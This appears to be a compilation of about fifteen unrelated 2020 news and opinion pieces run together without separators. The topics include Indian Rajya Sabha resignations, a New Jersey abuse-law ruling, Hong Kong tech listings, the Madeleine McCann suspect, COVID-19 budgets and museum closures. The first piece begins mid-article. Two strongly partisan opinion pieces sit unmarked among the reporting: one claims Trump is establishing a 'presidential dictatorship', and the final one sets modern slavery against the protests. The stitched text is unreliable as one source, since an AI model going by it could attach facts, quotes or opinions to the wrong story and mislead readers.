She mentioned that actionable items are coming out of this protest, such as efforts to reduce the local prison population and put an end the practice of cash bail in Chester County, goals which a community organization called Chester County Stands Up is fighting for.

As the sunset in West Chester on Thursday, change was in the air. Thunderstorms soon ensued.
Another Congress MLA from Gujarat resigned from the state Assembly, dealing a blow to the opposition partys prospects ahead of the June 19 Rajya Sabha polls.

Brijesh Merja from Morbi, a town near Rajkot, submitted his resignation to Speaker Rajendra Trivedi on Friday, a day after two legislators had resigned.

Akshay Patel and Jitu Chaudhary had tendered their resignations to the Speaker on Wednesday evening and they were accepted on Thursday.

Elections to the four Rajya Sabha seats are scheduled to be held on June 19.

With Fridays resignation of Merja, a total of eight Congress MLAs have resigned from the Gujarat Assembly since March, leaving the grand old party with 65 MLAs, in a house which now has a total strength of 173 members with nine vacant seats.

"I have accepted their resignations. They now cease to be legislators," Trivedi said.

The Congress accused the BJP of trying to break the party in order to win the Rajya Sabha polls.

"The BJP has opened its shop to buy Congress MLAs from the money amassed through corrupt means. The BJP is using the state machinery and money power to win elections," alleged Leader of Opposition Paresh Dhanani.

The BJP has, however, refuted the allegations.

As things stand, a candidate would need at least 36 votes under the single transferable vote (STV) system in order to get elected to the upper house of the parliament.

The BJP has 103 MLAs in the Assembly and has nominated three candidates  Abhay Bhardwaj, Ramilaben Bara, and Narhari Amin  for the upcoming polls. Given the numbers, the saffron party is certain to win two seats but would need the help of others to walk away with the third.

On the other hand, Congress has fielded Shaktisinh Gohil and Bharatsinh Solanki in hopes of securing two seats. However, after the recent spate of resignations, it may find it extremely difficult to cross the threshold with the numbers that it has been left with.

Other members include two MLAs of the Bharatiya Tribal Party (BTP), one Nationalist Congress Party (NCP) MLA, and an Independent in Jignesh Mewani. The votes of these members would also be crucial when the polling is held.
A year after it was signed into law, a New Jersey statute giving victims of sexual abuse more time to sue has survived a court challenge by a Catholic school.

A Superior Court judge in Morris County ruled last month that a 2019 law is constitutional and should be applied retroactively to all ongoing child sexual abuse cases, a decision that will make it easier for other plaintiffs to pursue lawsuits.

The new law waived the statute of limitations to sue for a two-year window ending by Dec. 1, 2021. The law also allows adults who were assaulted as children to file civil suits until they turn 55, or seven years after they discover that they were abused.

State Sen. Joseph Vitale, D-Middlesex, who co-sponsored the bill, said he is glad the judge upheld victims rights.

It says that rapists and their enablers will be held responsible, Vitale said Saturday.

The Catholic church fiercely opposed the bill for years, and the latest battleground over the law was waged in court through the ongoing civil suit of a man who claims he was sexually abused at the Delbarton School, a prestigious Catholic school in Morristown.

The man, now 60, claimed in his suit that former monk Richard Lott sexually assaulted him in 1976 and the Order of St. Benedict of New Jersey, which runs the school, did nothing to stop the abuse.

Attempts to contact Lott, 84, of Hopatcong, who now goes by Edward Lott, were unsuccessful. His attorney, Brian Mason of Dover, said in an email, the allegations made against my client are vehemently denied and we look forward to vindication at trial.

The Order of St. Benedict has denied the allegations in court and a spokesman for Delbarton said it does not comment on ongoing litigation.

The plaintiff, identified in the suit only by his initials, filed suit in 2017 when the statute of limitations decreed that he only had two years to sue from the time he realized the injury the abuse caused him.

Attorneys for the Delbarton School argued in a virtual hearing May 22 that the plaintiff should have to prove that he realized the injury within that two-year period because his case was filed before the 2019 law, as well as that the new law is unconstitutional because it removed statutes of limitation.

Judge Peter A. Bogaard disagreed on both counts, making him the first judge in New Jersey to rule on both the constitutionality as well as the retroactive intent of the law.

In addition to clearing the way for those filing suits now, the decision also means plaintiffs who filed before the new law are less likely to have to face challenges on the basis of the previous statute of limitations, according to one of the plaintiffs attorneys, Gregory Gianforcaro.

It feels good for me personally that my case has brought that about, that weve gotten past the challenge, he said Saturday. But its not about me. Its about giving survivors the opportunity to address their claims. Im grateful the legislation gave us that opportunity and the judge upheld it.

Claims of abuse

Attorneys for the plaintiff plan to argue that the school knew Lott was abusive but did not stop it, according to court documents. At least two other people have alleged Lott abused them and a third testified in a deposition to unreported allegations of wrongdoing, according to statements the attorneys made in court filings.

Gianforcaro wrote in a court document that the plaintiff was a 15-year-old boarding student at Delbarton when Lott, then a teacher, monk and groundskeeper at the prestigious school, took him to a New Years Eve party and served him alcohol until the early hours of Jan. 1, 1976.

Lott waited till the boy was asleep and then performed a sex act on him until he awoke in shock, Gianforcaro wrote in the court document.

Experts say it often takes decades for victims to report sexual abuse, but the plaintiff claims he reported it a year and a half later, on the night he graduated from Delbarton.

The 17-year-old wrote a letter about the abuse to the schools abbot, Brian Clarke, the court document said. The plaintiff alleges in court documents that the abbot later told him Lott had acknowledged the incident.

The Abbot assured the Plaintiff that Lotts actions were an isolated incident and assured him that he would ensure that Lott would never be in a position to abuse again, Gianforcaro wrote of the conversation in court documents.

It isnt clear from court documents if the school took any action regarding Lott at that time. But according to a lawsuit the school settled in 2006, another student claimed Lott abused him in November of 1977, less than six months after Clarke had allegedly received the letter alleging Lotts abuse of the plaintiff in the current suit.

Its not clear how or when Lott ultimately left Delbarton, but court records show Clarke told the Vatican in 1982 about Lott wishing to give up his priestly vows and be laicized.

Clarke died in October.

Lott countersued one of the plaintiffs this spring, but the claims are under seal. His attorney said he could not discuss the grounds for the suit.

The Order of St. Benedict of New Jersey has settled nine child sexual abuse suits since 2018. In a letter to the community that year, Delbarton publicly acknowledged that 30 individuals had alleged abuse by 13 past or current priests and monks at the school, and one retired lay faculty member, over the course of three decades.

The school apologized to victims in the letter, and said any allegations were reported to law enforcement.

Gianforcaro said his client deserves credit for sticking with the difficult suit over three years, allowing for the constitutionality decision.

Every child sexual abuse survivor in the state of New Jersey or who were abused in New Jersey, no matter where or when, can avail themselves of this law without worrying about constitutionality, Gianforcaro said.

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The full functioning of the Schengen Area will restore until the end of June.

Open source

The countries of the European Union stood for the extension of the restrictions for entry for the citizens of third countries after June 15 as European Truth reported citing European Commissioner Ylva Johansson.

Among the ministers, there was strong support of the decision that firstly, it is necessary to restore the functioning of the Schengen Area and then proceed to the opening of the external borders, she said.

According to Johansson, the European Commission recommended ending the restrictions for the crossing the EU external borders on June 15 when the term of the current ban expires but almost all countries-members supported the short offer to continue the closure of the borders.

It means that the restrictions at the external borders will remain until the end of June and I believe that we should consider their abolishment at the beginning of July, she said, adding that it is expected that the ban will be extended for two weeks.

Johansson also noted that the full functioning of the Schengen Area will restore until the end of June.

Starting from June 15, the Foreign Ministry of Germany will lift the restriction for entrance for citizens of 26 EU countries. Besides, the citizens of the UK and countries that enter the Schengen Area but not EU members  Iceland, Norway, Switzerland and Lichtenstein will be allowed to enter Germany.
EBRD increasing trade finance limit by US$ 90 million to Ukrgasbank

Support for local exporters and importers

Financing under EBRD Coronavirus Solidarity Package

Ukrainian exporters and importers will benefit from new trade opportunities following the increase of the existing trade finance facility provided by the European Bank for Reconstruction and Development (EBRD) to Ukrgasbank (UGB).

The increase of trade limit to UGB by US$ 90 million, which brought total exposure to it under the EBRDs Trade Facilitation Programme (TFP) to US$ 170 million, will help domestic firms continue their business activities following the outbreak of the coronavirus. The TFP line will compensate for the currently limited availability of commercial trade finance credit lines.

The importance of trade has grown immensely since the outbreak of the coronavirus pandemic as it helps firms to better manage commodity stocks and plan for longer trade cycles. This is recognised by the EBRD, which made the support of trade operations one of its key crisis response priorities. The Bank launched two Solidarity Packages and now expects to dedicate the entirety of its business investments of up to 21 billion in 2020-21 to overcome the economic impact of the crisis.

With 250 branches across Ukraine and almost 70,000 corporate clients, UGB is well placed to help Ukrainian businesses mitigate the disruptions in trade and supply chains.

TFP promotes international trade to, from, and within the Banks countries of operations, including Ukraine.

Since the beginning of their TFP partnership, the EBRD and UGB supported four green trade transactions, where the two financial institutions helped bring environmentally friendly technologies to Ukraine. In addition, the EBRD offered access to compliance and advanced trade finance skills to 70 employees of UGB. 76 scholarships were provided by the Bank to UGBs employees to obtain professional qualifications in financial crime prevention and anti-money laundering practices.

The EBRD is the largest international financial investor in Ukraine. To date, the Bank has made a cumulative commitment of almost 15 billion through 466 projects in the country.
Chinese tech giants JD.com and NetEase could raise a combined US$6 billion in a pair of blockbuster secondary listings in Hong Kong as tensions continue to rise between the United States and China.

NetEase, the world's second-largest mobile games publisher, priced its Hong Kong secondary listing at HK$123 (US$15.87) a share, gathering commitments worth US$2.7 billion ahead of its debut in the financial hub on June 11, people familiar with the deal said on Friday.

Guangzhou-headquartered NetEase amassed enough pledges from investors to cover the offer multiple times, the people added.

The price represents a tight 2 per cent discount to the last closing price of NetEase's depositary receipts of US$405 on Thursday and a 3.1 per cent discount to the one-day volume-weighted average price of US$412.67.

Investors' take-up of the sale bodes well for e-commerce giant JD.com, which plans to raise up to US$4.1 billion in its own secondary listing in the city.

According to a term sheet seen by the South China Morning Post, JD.com plans to sell 133 million shares at a maximum price of HK$236 a share, which would represent a 7.8 per cent premium to the closing price of its American depositary receipts on Thursday. JD.com confidentially filed an application for the listing in Hong Kong in April and followed it with a heavily redacted preliminary prospectus on Friday.

NetEase and JD.com are racing to complete their secondary listings this month amid strong demand among investors for technology listings and before the US stance on Chinese companies trading on its markets hardens further.

US President Donald Trump is dialling up anti-China rhetoric ahead of seeking a second term in November, pushing more Chinese technology firms to consider a secondary-listing closer to home. Hong Kong's exchange is putting on a full-court press to attract them.

Last month, the US Senate passed legislation that could force Chinese and other foreign companies to delist unless they submit to audits by the Public Company Accounting Oversight Board, which examines the books of all publicly listed US companies. The China Securities Regulatory Commission is evaluating whether to allow US-listed mainland companies to face such audits.

Story continues

NetEase's US$2.7 billion in hand could rise to US$3 billion if an overallotment option is exercised, according to a deal terms sheet. The deal is almost entirely aimed at international investors with just 3 per cent reserved for a Hong Kong public offer.

The international tranche was more than 10 times oversubscribed by a range of investors, including sovereign wealth funds, long-only funds and China-based investors. The Hong Kong public offering was 360 times oversubscribed, the people said.

Investors' interest was piqued by the 32 per cent rise in NetEase's ADRs to near record highs. The creator of "Fantasy Westward Journey" has also benefited from people in quarantine around the world buying more of its games.

Their offerings follow e-commerce giant and JD.com rival Alibaba Group Holding' US$12.9 billion secondary listing in the city last year. Alibaba is the parent company of the South China Morning Post.

Hong Kong Exchanges and Clearing (HKEX) radically overhauled its listing rules in 2018 to allow technology firms with dual-class shares and pre-revenue biotechnology companies to list in the city.

The bourse has proposed further changes to its rules to allow more use of so-called weighed- voting rights (WVR) shares as it tries to lure more US-listed mainland technology firms to come to Hong Kong, particularly as tensions have risen between the US and China.

At least 38 US-listed mainland tech giants, including Tencent Music, would not currently qualify to list in Hong Kong because they have corporate shareholders with a WVR structure, which are allowed by bourse rivals in the US and Singapore.

There are more than 200 Chinese firms with primary listings in the US, with an aggregate market cap of about US$1 trillion.

This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright  2020 South China Morning Post Publishers Ltd. All rights reserved.

Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved.
ALBANY  Federal prosecutors are offering a new reason to keep Mohammed Hossain in prison: The Albany pizza maker serving prison time for laundering money for a fake terrorism plot is safer from coronavirus behind bars than in Albany County, where more than 100 people have died from COVID-19.

The U.S. Bureau of Prisons reports that 2,646 federal prisoners and 244 employees have tested positive for the virus but local prosecutors say no one is sick at the Springfield, Mo., medical prison facility where Hossain is completing his sentence.

The new COVID-19 risk factor is the U.S. Attorney office's latest argument for keeping Hossain in prison.

In a lengthy court filing Thursday, First Assistant U.S. Attorney Elizabeth Coombe argued that Hossain should remain in the federal medical prison in Missouri for his own good until his scheduled release next month. He'll be let out ahead of his original release date due to good conduct in prison.

"The factors weighing against a reduction still outweigh Hossains medical concerns related to the pandemic because he has not established that he would be less vulnerable to COVID-19 if he were released," Coombe wrote to Senior U.S. District Judge Thomas McAvoy. "Thankfully there are no known cases at his medical facility, while sadly there have been 145 deaths in Albany County. Hossain is also in a medical center which offers excellent medical care. The risk of contracting COVID-19 while in the medical facility is very low, and he should therefore not be released."

New York state reports 145 people have died of the virus in Albany County, but county leaders say only 112 were residents.

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Even if the judge does grant Hossain early release, Coombe asked that he be placed in 14-day quarantine at the prison before being released, which would essentially reduce his early release time to just a couple of weeks.

Fear of COVID-19 has prompted judges to let prisoners leave federal custody early and Hossain and his supporters are pushing the federal government to let him out because of the pandemic.

Hossain is scheduled to be released on July 18, but he has been asking the government for nearly a year now to be released early from his 15-year sentence to his family in Albany due to several medical ailments, including diabetes and kidney failure.

In his most recent request made in U.S. District Court in Albany where he was convicted in 2006, Hossain's attorney argued he should be sent home early due to the pandemic.

Coombe also argued that Hossain, who had already petitioned the warden of his prison to be released early due to his medical ailments back in July 2019, did not update his request to include fears over developing COVID-19, the respiratory disease caused by the coronavirus.

"He has not identified any request to the warden regarding COVID-19, and the court should therefore dismiss that motion without prejudice," Coombe wrote.

Hossain's attorneys have argued that Hossain is not a threat to his community at home. They say Hossain was a victim himself of an FBI sting that centered around a made-up terrorism attack staged by an undercover informant whose credibility has been questioned for years. Hossain's attorneys have argued their client didn't grasp his potential involvement in the fake plot.

The other defendant in the case, Yassin Aref, a former Albany mosque leader, was released from federal prison and deported to his native Iraq in 2019.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Both men were targets of an operation that utilized undercover FBI informant Shahed Hussain, a Wilton motel owner who posed for the agents as a wealthy Islamic fanatic who wanted to kill a Pakistani official in New York City.

Hussain is also the owner of the limousine service involved in the Oct. 6, 2018 limo crash in Schoharie that killed 20 people. Hussain is now living in Pakistan, although his son is facing charges of manslaughter and criminally negligent homicide in Schoharie County Court.

Coombe argues that despite his pleas for release, Hossain's terrorism-related conviction, no matter the circumstances, precludes his early release due to a number of reasons, including the government's inability to adequately monitor Hossain at his home. Coombe also says that inmates with terror-related convictions are precluded from the government's COVVID-19 early release program that has already led to the release of 3,690 federal prisoners.

She noted that the Bureau of Prisons issued an operations memorandum under the COVID-19 release program on April 3 that "disqualified elderly offenders who have been convicted of terrorism offenses."

Jeanne Finley, a spokeswoman for the Muslim Solidarity Committee in Albany which has supported Hossain's early release, notes that Hossain was convicted of being involved in "the government's own contrived scenario and plot" and that no actual terrorist activity took place.

"The government is clearly trying to run out the clock so as not to deal with the injustice it has continued to perpetrate," Finley told the Times Union. "Albany, at his familys home, is the safest and most appropriate place for Mohammed Hossain, and we demand his immediate release."

Kathy Manley, a civil rights attorney who has worked on Aref's case, says that Hossain is needlessly being held in prison.

"Now when he is very sick and has six weeks left of his 15-year sentence, and his life is threatened by COVID-19 in prison, they are, incredibly, fighting his release," Manley said. "That is the mentality of prosecutors who caused the epidemic of mass incarceration, and are fighting to prevent any reform."

Hossain apparently had been previously approved for early release on April 22 and even sent to quarantine in early April when he was suddenly told that he was being sent back to the general population and denied release since the government suddenly believed it couldn't adequately monitor his whereabouts if he was released to his family early.

It is unclear when McAvoy, the judge overseeing the case, will make a ruling.
Thousands of health care workers have joined the protests against police violence that have swept the United States and other countries in recent days.

This weekend, videos showed hundreds of nurses cheering protesters in Manhattan in New York City, and on Tuesday, hundreds again joined a protest in Times Square. Protests have also taken place in Boston, Chicago, and Oakland, California.

On Thursday, the protests expanded significantly, with thousands of medical workers staging demonstrations under the banner White Coats for Black Lives in cities across the country. The protests have continued to grow despite the violent police crackdown, which has rapidly escalated this week with Trumps moves to deploy the military and establish a presidential dictatorship.

Protest by medical workers at Stanford

At Stanford, one of the leading medical schools in the world, hundreds of medical students and workers joined a demonstration in which they knelt down for eight minutes and 46 seconds, the time that Minneapolis police officer Derek Chauvin kneeled on George Floyds neck. Nearly 1,000 health care workers joined a protest at Indiana Universitys medical school, and hundreds joined protests in Chicago, Illinois, and the surrounding area, as well as in Miami.

Protests also continued to take place at several New York City hospitals, including Jacobi Medical Center, Montefiore Medical Center, Lincoln Medical Center and Bellevue Hospital. All of these hospitals serve overwhelmingly poor and multi-ethnic, working class communities. Left without proper personal protective equipment (PPE), their staff have battled for months against the coronavirus pandemic which hit New York particularly hard, resulting in over 30,000 deaths.

Many more protests are planned for Friday and Saturday, including in Ohio, Colorado and Pennsylvania. Like the protest movement as a whole, the demonstrations by medical workers have been multi-racial and multi-ethnic, encompassing a wide range of generations. They practiced social distancing and wore masks.

Medical workers have also directly joined the ongoing protests and have been targeted by police, in blatantly illegal actions.

On Wednesday night, police in Austin, Texas, deliberately shot medical workers with rubber bulletswho were trying to treat Justin Howell, a 20-year-old. Howell, who was shot in the head with rubber bullets, is still in critical condition and has suffered brain damage. One of the medics who was shot in the hand later reported, Just so you know, I had been there two full days. With one of my firefighter shirts on that I sewed a huge red and white medical cross on the front and back on. I had red and white crosses taped on my helmet. They knew I was a medic.

Protest at Kings County, New York

Earlier this week, Rayne Dominic Valentine, a medical worker with Brooklyn Hospital who has stacked bodies of COVID-19 victims, was brutally assaulted by police when walking home. As he was filming an attack by police on protesters, he was himself assaulted by police officers who kicked and beat him so badly that his head cracked and required staples in the hospital. A GoFundMe page for Valentine quickly gathered over $13,000, more than 10 times the requested amount. Many of those who donated were fellow medical workers.

One worker commented on the fund page, I work at Kings County. We have fought COVID19 together and I will fight alongside you against this terrible injustice. Thank you for all that you have done.

A scientific worker from Pittsburgh wrote, I am SO sorry this happened! I am a scientist working on COVID-19 treatments to help those severely ill and prevent them from dying. I had THIS EXACT fear in Pittsburgh. I have to break curfews here because I work the night shifts to process the blood we get from the doctors (who work day shift.) Im often walking home between midnight and 5am. The bus isnt an option due to Coronavirus. While Im Caucasian, I still had this fear that cops would shoot first and ask questions later. Im so sorry this actually happened to you...it is OUTRAGEOUS that police are allowed to do this.

It is not a coincidence that the mass protests against police violence and racism now find a strong resonance among health care workers, a section of the working class that has been at the forefront of both the social crisis and the fight against the COVID-19 pandemic.

Anger runs particularly high among doctors and nurses over the tens of thousands of preventable infections and deaths, including at least 291 medical workers who have died because of a lack of PPE. In the US, the richest country in the world, where the government spends hundreds of billions on war and the military every year, over 100,000 people have died from COVID-19, and over 62,000 health care workers have been infected.

After decades of social austerity and devastating cuts to health care, the policy of malign neglect has left hospitalsespecially in the poorest and hardest areas of the country like the Bronx in New York Citywithout the medical equipment necessary to adequately treat patients. On top of that, almost 1.5 million health care workers have been laid off, tens of thousands have been furloughed and further hospital closures are being prepared despite the raging pandemic.

In opposition to the attempts by the Democratic Party to promote racial politics to divide the working class, the fight against racism and police violence among medical workers must be consciously fused with a struggle for social equality and the mobilization of resources to seriously combat the pandemic, and against the attempts of the Trump administration to establish a military dictatorship.
FILE PHOTO: Kate McCann, whose daughter Madeleine went missing during a family holiday to Portugal in 2007, attends a news conference at the launch of her book in London

By Michelle Martin and Paul Carrel

BERLIN (Reuters) - Madeleine McCann, the British girl who disappeared in Portugal in 2007 aged just three, is assumed to be dead and an imprisoned German child abuser is the murder suspect, a German prosecutor said on Thursday

McCann vanished from her bedroom on May 3 during a family vacation in the Algarve while her parents were dining with friends nearby in the resort of Praia da Luz.

Her disappearance sparked an international search, with missing posters of the little girl's face papered across the world and celebrity appeals for information that could help track her down and bring her abductors to justice.

"We assume that the girl is dead," Braunschweig state prosecutor Hans Christian Wolters said. "The public prosecutor's office in Braunschweig is investigating a 43-year-old German national on suspicion of murder."

No body has ever been found.

But the German statements that the young girl was assumed dead were the most authoritative thus far on her fate. Family and supporters had always held out the hope that she might still be alive somewhere.

German police said on Wednesday that while the exact sequence of events was still a subject of investigation, the suspect may have had a sexual motive but it is also possible that he had made a spontaneous decision to abduct McCann during a break-in of the apartment where she was sleeping.

They are treating the case as suspected murder, though British police said the case remains a missing person inquiry.

McCann's parents said they wanted to find peace but that the German suspect was potentially very significant.

"All we have ever wanted is to find her, uncover the truth and bring those responsible to justice," her parents, Kate and Gerry, said in a statement issued before the German prosecutor spoke.

"We will never give up hope of finding Madeleine alive but whatever the outcome may be, we need to know as we need to find peace."

Story continues

DRUGS AND BURGLARY

Prosecutor Wolters said the suspect is a sex offender with multiple convictions, including for sexual abuse of children.

The suspect, who was not publicly named, lived in the Algarve between 1995 and 2007 and worked in the catering industry, burgled hotels and holiday flats as well as trading drugs, German police said. He is currently in detention over a different matter.

British and German police appealed for information about the man - who lived in Braunschweig, northern Germany, before moving abroad - and released photographs of vehicles - a Volkswagen camper van and a Jaguar - which he used at the time.

Police said they wanted to speak to a thus-far unidentified second person who spoke with the German suspect from a Portuguese phone number on May 3, 2007 at the time of McCann's disappearance.

(Writing by Guy Faulconbridge and Michael Holden; Additional reporting by Kate Holton and William James in London; Catarina Demony in Praia da Luz, Portugal; editing by Angus MacSwan)
Automaker Toyota Kirloskar Motor (TKM) is relocating its marketing teams to low-rental office facilities including co-working spaces. Recently, the company moved out of the UB City towers on Vittal Mallya road in Bengaluru.

Toyota's 6,200 employees had been working at UB City for about 14 years. It initially rented two floors of 25,000 sq ft each but has vacated one of the floors a few years ago.

Toyota Kirloskar Motor vice-chairman Shekhar Vishwanathan said that the company's strategy to relocate employees into less exorbitant rental spaces would help save a few crores in rentals a year, according to The Economic Times.

Apart from Bengaluru, Toyota would also be giving up expensive working space in Mumbai, Delhi, and Kolkata, Vishwanathan added. He said the company will relocate its marketing team to smaller offices and deploy them on fields. Toyota Kirloskar's human resource, legal, and finance department will be working from the 432-acre production facility at the Bidadi Industrial Area, 40-km of Bengaluru after relaxations in coronavirus restrictions.

In May, Toyota Kirloskar Motor had reported a 86.49 per cent decline in domestic vehicle sales to 1,639 units. The company had posted sales of 12,138 units in May 2019.

Toyota Kirloskar, which was among the first to switch to making BS-VI vehicles ahead of the government-mandated deadline, has been hit hard by the 43 er cent GST and cess on hybrid cars.

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Gov. Ned Lamont on Thursday announced $75 million in pandemic-related relief for cities and towns that will be matched with federal emergency funds.

Forty-million dollars will be available for the fiscal year that ends June 30, and another $35 million will be available before the end of the calendar year.

With currently available federal funding, towns and cities should be eligible for about $200 million to cover coronavirus expenses, from the costs of cleaning public buildings, operating shelters, purchasing IT equipment, school distance learning and food, as well as hazardous duty pay and overtime.

Nows the time for us to start thinking about how we get back to work, Lamont said during his daily late-afternoon news briefing in the State Capitol. It doesnt help us with the fact the income tax and sales tax took a big hit over the last three months.

Melissa McCaw, who as secretary of the Office of Policy and Management is Lamonts budget director, said that $600 million from the states robust $2.5 billion budget reserve will be used to balance the deficit in the fiscal year that ends June 30. She warned the next year has a projected $2.4 billion deficit, which will be balanced with more funding from the reserve, plus spending cuts.

Between the FEMA along with the Coronavirus Relief Fund and any other federal funding dollars, we believe that municipalities will be fully funded for their expenses through June 30 and then we will begin to evaluate for expenses beyond that time period, McCaw said. They do not cover any lost government revenue; cannot be used for funds that you previously budgeted. The bottom line is it has to be for expenses during the public health emergency between March 1 and December 30.

There was $111 million in FEMA funding already released to local school boards for remote learning expenses, plus grants for local health departments, she said, stressing that other groups, including nonprofit social services and smaller hospitals, want additional relief.

They are a number of other stakeholders that are indicating that they are feeling challenged financially because of the COVID-related impacts, she said. Quite frankly, their requests for COVID support well exceed $1.4 billion, so there are other areas where we are considering support, and at the same time we need to leave ourselves with some flexibility in the event that some of the areas that are critical to our strategy to mitigating growth and resurgences in the event that we need to invest more resources.

Lamont said a wildcard in the whole funding issue is the federal government.

We dont have any idea what theyre going to do on another supplemental, Lamont said, stressing that no decision has been made on whether FEMA will pay for three quarters of future testing costs.The federal government can just borrow their way to prosperity, but weve got to keep ourselves on a leash where we can balance this budget and make sure we get the testing done.

In reaction, the Connecticut Conference of Municipalities praised the governors new Municipal Coronavirus Relief Fund, which local officials will access through an electronic process through a state government portal. Awards will be awarded on the difference between local costs and reimbursements from the Federal Emergency Management Agency.

But the advocates for towns and cities said that $630 million should be given to local governments from the states $1.4 billion in federal disaster relief.

The CCM stressed that the $75 million budget by Lamont was based on a survey in which towns and cities spent $40 million in unexpected pandemic expenses.
The latest Bank of Ireland Agri Pulse painted a subdued picture in April 2020 as the COVID-19 pandemic imparted a huge shock to the economy.

Even though farming has been classed as an essential business, reduced demand from overseas customers and the closure of the food service industry globally and at home is taking a toll on the sector.



The Bank of Ireland Agri Pulse provides an insight into what is happening in the sector, the issues and the trends. It questioned 250 farmers in Ireland for their views on a wide range of topics including farm output, input costs, market prices, their investment plans and business ambitions.

Those involved in the cattle and sheep trade were especially downbeat amid volatile prices in these sectors and COVID-19-related disruption to marts and livestock markets, while land and labour shortages were among the factors hampering dairy and tillage production.

Looking ahead, 18% of those surveyed said that they expect to increase farm output in the next 12 months but with three in ten signalling a reduction, the balance of positive and negative responses remained in the red.



Excluding labour but including the likes of feed, fertiliser, fuel, veterinary and land rental, 42% of farmers indicated that input costs have risen in the past year. This is a reduction from 67% in the August 2019 survey and contributed to a slightly less negative assessment of farm profitability over the past 12 months. The outlook for market prices was decidedly muted however, with three in four expecting the prices they receive to fall in the next year.



On the investment front, the share expecting to increase farm spending in the next 12 months was unchanged in April at 18%. Tillage farmers were more positive in their investment outlook than recorded previously, while dairy farmers were somewhat less so.

Replacing and maintaining worn-out buildings, equipment & vehicles; purchasing livestock; and investing in new farm buildings, land and equipment & vehicles are all on the radar, with investment for environmental purposes ticking up in the latest survey too.

As for future business intentions, three in ten farmers plan to expand in the next 1 to 3 years, while just over half would prefer to remain the same size. The survey also revealed that 15% are considering scaling down, which is less than the August figure of 23% and is due in part to the reduction in Brexit uncertainty since the beginning of 2020.

Dairy and younger farmers are still shown to be the more ambitious - though tillage is catching up - whereas those likely to call it a day are mostly older and concentrated in cattle and sheep.

Discussing the Bank of Ireland Agri Pulse, Group Chief Economist of Bank of Ireland, Dr. Loretta OSullivan said, "The COVID-19 shock is being keenly felt by farmers, with seven in ten reporting a negative impact on their business. The Agri sector has weathered a number of storms in recent years, and the current crisis is yet another challenge for farmers to try and overcome."

She added, "The latest Agri Pulse findings do however reveal some softening in non-labour cost pressures and a growing cohort who thinks more environmentally friendly farming will benefit them, so despite the latest findings being framed in a COVID-19 context there is still cause for cautious optimism in the sector."

Source: www.businessworld.ie
The NGV isn't alone in its scramble to rethink forward schedules. Galleries and museums around the country are cancelling, postponing or racing against the clock as their big-ticket international exhibitions have been thrown into flux.

The inaugural Triennial was the gallery's most visited exhibition on record. Ellwood gave his staff a daunting goal: the show must go on.

In December, the gallery was due to open the doors to its second Triennial: a blockbuster exhibition of contemporary art and design by around 80 artists and designers from dozens of countries.

Major exhibitions are often several years in the making and institutions rely on them to bring in huge numbers of visitors (and dollars). But uncertainty, international border closures, mandatory quarantine and health concerns are making it difficult, if not impossible, to bring international works and artists into the country.

The Australian Museum's King Tut: Treasures of the Golden Pharaoh blockbuster, billed as the "largest and most impressive" Tutankhamun exhibition to ever leave Egypt and the last time the objects would travel globally, was due to open early next year but has been postponed with no future date set.

Sydney's other exclusive exhibitions, due to show over summer, will also be shelved: the Art Gallery of NSW's Matisse exhibition from France's Centre Pompidou and the MCA's survey of contemporary American artist Doug Aitken. The Queensland Art Gallery/Gallery of Modern Art hopes to reschedule its Chiharu Shiota exhibition, from the Mori Museum of Art in Tokyo, to mid 2022 while it plans to go ahead with The Motorcycle in November, but it will likely rely more heavily on Australian and New Zealand collections.

The National Gallery of Australia has not yet cancelled its Botticelli to Van Gogh: Masterpieces from the National Gallery, London due to open in early November. However, the art is currently at the National Museum of Western Art in Tokyo, which remains shuttered as the city copes with a second wave of coronavirus, and was due to head to Osaka's National Museum of Art in July before coming to Sydney.

Ellwood said it was "amazing" that no works had been withdrawn from the Triennial, which is in part due to the quick-thinking of his team which raced to get works into the country as the coronavirus pandemic worsened.
A young farmer and social media influencer from County Down is one of the star attractions of the upcoming online Women in Agriculture week.

When a visiting politician asked 14-year-old schoolgirl Anna Truesdale what she wanted to be when she grew up, his response to her reply was the catalyst she needed to prove him, 'and any others like him' wrong.

When I said I wanted to be a farmer, he remarked that a career in agriculture was very strange for a girl, Anna, 23, said.

It is a reaction that the young farmer - who has a first-class honours degree in agricultural technology - still encounters on a fairly regular basis.

Her 30,000 followers on Instagram know better, as does anyone who has seen her in action on the family farm at the foot of the Mourne Mountains.

She works alongside her dad and brother, often in challenging weather conditions, milking, delivering calves and lambs, driving farm machinery and tackling all the other tasks on an equal footing with the men.

Next month, Anna - or @annatrues - is one of the keynote speakers taking part in Farming Connects Women in Agriculture (WiA) campaign.

For the first time, it will take the form of a week-long online campaign in response to the ongoing Covid 19 restrictions.

During the week, Anna will post a special video, take a live Q&A session and host a webinar explaining how she turned her joint passions for agriculture and photography into a successful online business.

She has not only helped promote the family farm business but also positioned herself as a leading influencer, blogger and high-profile farming personality.

Anna has not only helped promote the family farm business but also positioned herself as a leading influencer

With my feet firmly planted in a pair of wellie boots, I decided to use social media to showcase just what life is like for a young female farmer in Northern Ireland," Anna said.

She added that she wanted to inspire other young women to consider a career in this 'wonderful industry'.

The interest in social media began when she was in her teens: Social media was just becoming a thing so I spent hours browsing all the things that mattered most to me back then, like hair, beauty and fashion.

"I learned about the power of people, photography and the importance of communicating."

Now a significant influencer herself, Anna said shes looking forward to reaching out to women in Wales and sharing her tips for succeeding in what is all too often, still regarded as a predominantly male domain.

Now in its 11th year, Farming Connects WiA 2020 campaign will run from Monday 15 June to Saturday 20 June.

It aims to encourage women from a farming background to get engaged and develop both their personal and business skills.
A black man toils in a field under the sweltering sun. He is a slave in every sense of the word: he was taken by force from his family and forced into a life of hard physical labor for no pay. He is given little food and even less water. He is beaten on a regular basis.

This is not a scene from an 1805 plantation in the Deep South. This is happening now, in 2020, in some countries in Africa, and in the Islamic world.

We are told, lectured even, that the scenes of mass chaos and violence in our streets are justified because of our past. Yet per the Global Slavery Index, an estimated 40.3 million human beings are enslaved around the planet, right now. Where are the protests for them? Don't their lives matter?

